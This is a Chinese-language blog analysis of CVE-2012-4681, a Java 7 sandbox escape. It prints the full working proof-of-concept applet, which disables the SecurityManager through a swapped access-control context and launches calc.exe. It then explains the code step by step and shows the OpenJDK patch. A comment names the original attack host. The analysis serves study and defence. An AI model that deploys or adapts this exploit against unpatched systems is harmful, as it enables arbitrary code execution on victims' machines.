`

cve-2012-4681的分析记录

阅读更多
一、简介

       cve-2012-4681是去年8月份爆出的java沙盒的漏洞。
       漏洞是利用java的特性,从受限制的沙盒代码中调用系统信任的代码,间接修改了java.beans.Statement类的参数  
      
private final AccessControlContext acc = AccessController.getContext();

              再利用不受任何限制的statement类,disable掉沙盒的securitymanager,从而执行任意的命令。是非常严重的本地执行漏洞。
        具体的利用方式还是下面的英文描述比较简洁:

        Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.ClassFinder.findClass and leveraging an exception with the forName method to access restricted classes from arbitrary packages such as sun.awt.SunToolkit, then (2) using "reflection with a trusted immediate caller" to leverage the getField method to access and modify private fields, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class.

      
二、poc
       该漏洞的poc如下:
   
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
// 
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
                                                                                                  
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
                                                                                                  
public class Gondvv extends Applet
{
                                                                                                  
    public Gondvv()
    {
    }
                                                                                                  
    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }
                                                                                                  
    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }
                                                                                                  
    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }
                                                                                                  
    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }
                                                                                                  
    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}

         在浏览器中正确运行该applet,可以弹出计算器。(限定windows系统 )  
    
三、poc分析
       从poc的源代码可以看出,该poc的关键点在于disableSecurity()这个函数。  
  
 public void disableSecurity()
      throws Throwable
  {
      Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1])  
                                            
      //首先定义一个statement,该statement用于调用System.setSecurityManager(null),从而将当前沙盒的保护者---SecurityManager干掉
                                           
     Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
      AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
          localProtectionDomain
      });
      // 定义一个拥有所有特权的AccessControlContext对象
      SetField(Statement.class, "acc", localStatement, localAccessControlContext);
      // 使用特权的AccessControlContext替换statement中的acc变量,从而使当前的statement实例拥有特权,在调用System.setSecurityManager(null)的时候不会被沙盒拦截
      localStatement.execute();
  }

突破沙盒的关键在于将Statement中的acc变量,替换为高权限的acc,而替换的方式便在SetField这个函数中。
   
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
       throws Throwable
   {
       Object arrayOfObject[] = new Object[2];
       arrayOfObject[0] = paramClass;
       arrayOfObject[1] = paramString;
       Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
                                        
       // GetClass函数其实就是用反射的方式调用了Class.forName的方法,获取了sun.awt.SunToolkit实例.Expression表达式进一步调用了sun.awt.SunToolkit的代码,执行了其中的getField函数,这个函数返回的结果就是statement实例的acc变量
       localExpression.execute();
       ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
       // 将其赋值
   }


    为了更明确的弄清这个问题,我们可以反过来思考。
       过程如下: 
      1、首先我们已经知道了我们的目的,就是突破沙盒执行任意java代码。沙盒是由securityManager保护的,我们干掉他就大功告成
      2、Statement类可以利用反射的方式执行java代码,但是它有一个成员变量叫acc,实例其实是一个accessControlContext。我们直接用statement执行               
高权限的代码是不行的,因为会被acc所获取的当前沙盒的权限所限制。如果我们把acc这玩意儿替换掉,就能执行任意代码了,其中就包括干掉securitymanager。这其中就一个困难点就是acc变量时private的。    
      3、我们发现有一个类可以帮我们达成这个目的,sun.awt.SunToolkit中有一个叫做getField的方法,这个方法可以修改任意对象的任意成员变量。
      4、现在的问题就变成了,如何调用getField方法。对于applet中的代码来说,sun.*.*下面的包是不能直接访问,如果直接访问会产生如下图所示的错误。
   

         于是这个问题就化简成两点:1、获取sun.awt.SunToolkit实例。 2、调用该实例的getField方法。(跟doPrivileged没啥关系)
            "reflection with a trusted immediate caller",这个java特性帮我们解决了这两个问题。  

             http://www.oracle.com/technetwork/java/seccodeguide-139067.html 这篇文章的9-8解释了这个问题。  
            http://security.stackexchange.com/questions/19565/why-do-some-java-apis-bypass-standard-securitymanager-checks/37920#37920
            这篇提问的答案则解释了为什么会有"reflection with a trusted immediate caller"这个特性
  
      
四、修补方式
       查看源码可以知道修补方式 
       http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/2c58f14f60c7
   
--- a/src/share/classes/com/sun/beans/finder/MethodFinder.java  Mon Aug 13 14:20:05 2012 -0700
+++ b/src/share/classes/com/sun/beans/finder/MethodFinder.java  Tue Jun 19 20:06:56 2012 +0400
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2008, 2011, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2008, 2012, Oracle and/or its affiliates. All rights reserved.
  * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
  *
  * This code is free software; you can redistribute it and/or modify it
@@ -33,6 +33,8 @@ import java.lang.reflect.Type;
 import java.lang.reflect.Type;
 import java.util.Arrays;
        
+import static sun.reflect.misc.ReflectUtil.isPackageAccessible;
+
 /**
  * This utility class provides {@code static} methods
  * to find a public method with specified name and parameter types
@@ -120,7 +122,7 @@ public final class MethodFinder extends 
      */
     public static Method findAccessibleMethod(Method method) throws NoSuchMethodException {
         Class<?> type = method.getDeclaringClass();
-        if (Modifier.isPublic(type.getModifiers())) {
+        if (Modifier.isPublic(type.getModifiers()) && isPackageAccessible(type)) {
             return method;
         }
         if (Modifier.isStatic(method.getModifiers())) {     

      添加了isPackageAccessible(type)这个校验,这样就没有办法在低权限的代码中调用高权限的方法了。  

五、其他
       该漏洞的补丁其实只补了ConstructorFinder/FieldFinder/MethodFinder三个类,但是并没有涉及到ClassFinder,有意思的是下一次更改就修补了ClassFinder(http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/dfffff29f870),修补说明是XMLDecoder security issue via ClassFinder.
       这个漏洞被定义为CVE-2012-1682,目前为止我还没有找到poc.。
  • 大小: 15 KB
分享到:
评论

相关推荐

    pandas-1.3.5-cp37-cp37m-macosx_10_9_x86_64.zip

    pandas whl安装包,对应各个python版本和系统(具体看资源名字),找准自己对应的下载即可! 下载后解压出来是已.whl为后缀的安装包,进入终端,直接pip install pandas-xxx.whl即可,非常方便。 再也不用担心pip联网下载网络超时,各种安装不成功的问题。

    基于java的大学生兼职信息系统答辩PPT.pptx

    基于java的大学生兼职信息系统答辩PPT.pptx

    基于java的乐校园二手书交易管理系统答辩PPT.pptx

    基于java的乐校园二手书交易管理系统答辩PPT.pptx

    tornado-6.4-cp38-abi3-musllinux_1_1_i686.whl

    tornado-6.4-cp38-abi3-musllinux_1_1_i686.whl

    Android Studio Ladybug(android-studio-2024.2.1.10-mac.zip.002)

    Android Studio Ladybug 2024.2.1(android-studio-2024.2.1.10-mac.dmg)适用于macOS Intel系统,文件使用360压缩软件分割成两个压缩包,必须一起下载使用: part1: https://download.csdn.net/download/weixin_43800734/89954174 part2: https://download.csdn.net/download/weixin_43800734/89954175

    基于ssm框架+mysql+jsp实现的监考安排与查询系统

    有学生和教师两种角色 登录和注册模块 考场信息模块 考试信息模块 点我收藏 功能 监考安排模块 考场类型模块 系统公告模块 个人中心模块: 1、修改个人信息,可以上传图片 2、我的收藏列表 账号管理模块 服务模块 eclipse或者idea 均可以运行 jdk1.8 apache-maven-3.6 mysql5.7及以上 tomcat 8.0及以上版本

    tornado-6.1b2-cp38-cp38-macosx_10_9_x86_64.whl

    tornado-6.1b2-cp38-cp38-macosx_10_9_x86_64.whl

    Android Studio Ladybug(android-studio-2024.2.1.10-mac.zip.001)

    Android Studio Ladybug 2024.2.1(android-studio-2024.2.1.10-mac.dmg)适用于macOS Intel系统,文件使用360压缩软件分割成两个压缩包,必须一起下载使用: part1: https://download.csdn.net/download/weixin_43800734/89954174 part2: https://download.csdn.net/download/weixin_43800734/89954175

    基于MATLAB车牌识别代码实现代码【含界面GUI】.zip

    matlab

    基于java的毕业生就业信息管理系统答辩PPT.pptx

    基于java的毕业生就业信息管理系统答辩PPT.pptx

    基于Web的毕业设计选题系统的设计与实现(springboot+vue+mysql+说明文档).zip

    随着高等教育的普及和毕业设计的日益重要,为了方便教师、学生和管理员进行毕业设计的选题和管理,我们开发了这款基于Web的毕业设计选题系统。 该系统主要包括教师管理、院系管理、学生管理等多个模块。在教师管理模块中,管理员可以新增、删除教师信息,并查看教师的详细资料,方便进行教师资源的分配和管理。院系管理模块则允许管理员对各个院系的信息进行管理和维护,确保信息的准确性和完整性。 学生管理模块是系统的核心之一,它提供了学生选题、任务书管理、开题报告管理、开题成绩管理等功能。学生可以在此模块中进行毕业设计的选题,并上传任务书和开题报告,管理员和教师则可以对学生的报告进行审阅和评分。 此外,系统还具备课题分类管理和课题信息管理功能,方便对毕业设计课题进行分类和归档,提高管理效率。在线留言功能则为学生、教师和管理员提供了一个交流互动的平台,可以就毕业设计相关问题进行讨论和解答。 整个系统设计简洁明了,操作便捷,大大提高了毕业设计的选题和管理效率,为高等教育的发展做出了积极贡献。

    机器学习(预测模型):2000年至2015年期间193个国家的预期寿命和相关健康因素的数据

    这个数据集来自世界卫生组织(WHO),包含了2000年至2015年期间193个国家的预期寿命和相关健康因素的数据。它提供了一个全面的视角,用于分析影响全球人口预期寿命的多种因素。数据集涵盖了从婴儿死亡率、GDP、BMI到免疫接种覆盖率等多个维度,为研究者提供了丰富的信息来探索和预测预期寿命。 该数据集的特点在于其跨国家的比较性,使得研究者能够识别出不同国家之间预期寿命的差异,并分析这些差异背后的原因。数据集包含22个特征列和2938行数据,涉及的变量被分为几个大类:免疫相关因素、死亡因素、经济因素和社会因素。这些数据不仅有助于了解全球健康趋势,还可以辅助制定公共卫生政策和社会福利计划。 数据集的处理包括对缺失值的处理、数据类型转换以及去重等步骤,以确保数据的准确性和可靠性。研究者可以使用这个数据集来探索如教育、健康习惯、生活方式等因素如何影响人们的寿命,以及不同国家的经济发展水平如何与预期寿命相关联。此外,数据集还可以用于预测模型的构建,通过回归分析等统计方法来预测预期寿命。 总的来说,这个数据集是研究全球健康和预期寿命变化的宝贵资源,它不仅提供了历史数据,还为未来的研究和政策制

    基于微信小程序的高校毕业论文管理系统小程序答辩PPT.pptx

    基于微信小程序的高校毕业论文管理系统小程序答辩PPT.pptx

    基于java的超市 Pos 收银管理系统答辩PPT.pptx

    基于java的超市 Pos 收银管理系统答辩PPT.pptx

    基于java的网上报名系统答辩PPT.pptx

    基于java的网上报名系统答辩PPT.pptx

    基于java的网上书城答辩PPT.pptx

    基于java的网上书城答辩PPT.pptx

    婚恋网站 SSM毕业设计 附带论文.zip

    婚恋网站 SSM毕业设计 附带论文 启动教程:https://www.bilibili.com/video/BV1GK1iYyE2B

    基于java的戒烟网站答辩PPT.pptx

    基于java的戒烟网站答辩PPT.pptx

    基于微信小程序的“健康早知道”微信小程序答辩PPT.pptx

    基于微信小程序的“健康早知道”微信小程序答辩PPT.pptx

    机器学习(预测模型):自行车共享使用情况的数据集

    Capital Bikeshare 数据集是一个包含从2020年5月到2024年8月的自行车共享使用情况的数据集。这个数据集记录了华盛顿特区Capital Bikeshare项目中自行车的租赁模式,包括了骑行的持续时间、开始和结束日期时间、起始和结束站点、使用的自行车编号、用户类型(注册会员或临时用户)等信息。这些数据可以帮助分析和预测自行车共享系统的需求模式,以及了解用户行为和偏好。 数据集的特点包括: 时间范围:覆盖了四年多的时间,提供了长期的数据观察。 细节丰富:包含了每次骑行的详细信息,如日期、时间、天气条件、季节等,有助于深入分析。 用户分类:数据中区分了注册用户和临时用户,可以分析不同用户群体的使用习惯。 天气和季节因素:包含了天气情况和季节信息,可以研究这些因素对骑行需求的影响。 通过分析这个数据集,可以得出关于自行车共享使用模式的多种见解,比如一天中不同时间段的使用高峰、不同天气条件下的使用差异、季节性变化对骑行需求的影响等。这些信息对于城市规划者、交通管理者以及自行车共享服务提供商来说都是非常宝贵的,可以帮助他们优化服务、提高效率和满足用户需求。同时,这个数据集也

Global site tag (gtag.js) - Google Analytics